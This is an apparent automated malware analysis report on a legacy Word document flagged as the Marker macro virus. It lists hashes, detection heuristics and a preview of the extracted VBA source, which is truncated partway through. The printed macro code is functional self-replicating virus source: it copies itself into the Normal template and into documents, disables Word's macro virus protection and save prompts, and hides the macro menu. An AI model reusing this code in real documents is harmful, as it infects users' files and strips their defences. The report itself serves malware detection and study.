Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7520e89ccd7382d5…

MALICIOUS

Office (OLE)

39.5 KB Created: 2000-09-11 18:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b6c166f3cae39b433c6b837d18df3e38 SHA-1: 3c75a7b6fe67b39e58312c5359773c821b7cae51 SHA-256: 7520e89ccd7382d59aab1a0555ffbc26dd5334e9d2393656f81905be0169a3d9
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon opening. The document body explicitly states 'Waring!This file contains a virus!', which is likely a lure or a method to obscure the true malicious intent. The VBA script itself contains obfuscated logic and conditional messages, suggesting it's designed to perform actions beyond simply displaying a warning.

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4648 bytes
SHA-256: 71d0b45f06d6e439c36e96cbe26bb99816be75ff82bc48366d46b720d457aa38
Detection
ClamAV: Doc.Trojan.Marker-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Sub AutoOpen()
  If DateDiff("s", CDate(GetSetting("3BEPb", "Startup", "date", 0)), Time) > 300 Then
    ActiveDocument.Shapes("3BEPb").Activate
    Selection.HomeKey Unit:=wdStory
    CommandBars("Tools").Controls("Macro").Visible = False
    Options.SaveNormalPrompt = False
  End If
End Sub
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
    x10 = MsgBox("Did You Wish Ahmed Khan on his Birthday ?", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Thank You! I Love You. You are wonderfull."
    Else
        MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
     x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
     x5.CodeModule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Ahmed Khan": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 100
... (truncated)